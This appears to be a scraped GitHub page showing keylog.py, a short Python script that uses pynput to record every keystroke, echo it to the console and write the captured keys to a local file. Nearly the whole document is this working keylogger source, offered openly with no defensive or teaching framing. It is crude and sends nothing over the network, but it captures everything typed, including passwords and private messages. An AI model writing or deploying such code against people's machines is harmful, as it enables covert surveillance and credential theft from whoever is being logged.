-
Notifications
You must be signed in to change notification settings - Fork 0
/
keylog.py
40 lines (32 loc) · 836 Bytes
/
keylog.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from sys import exit
from pynput import keyboard
from time import sleep
from threading import Thread, ThreadError
vec_str = []
file = open("test.txt", "w")
def to_tread(func):
def wrapper(*args):
try:
Thread(target=func, args = (*args, )).run()
except ThreadError:
exit(1)
return wrapper
@to_tread
def input_to_file(vec_str: list, file) -> None:
for line in vec_str:
file.write(f"{line}\n")
@to_tread
def main() -> None:
with keyboard.Events() as events:
for event in events:
tmp = event.key
vec_str.append(str(tmp))
if tmp is None:
sleep(0.1)
print(f"you enter > {tmp}")
input_to_file(vec_str, file)
if __name__ == '__main__':
try:
main()
except:
exit(0)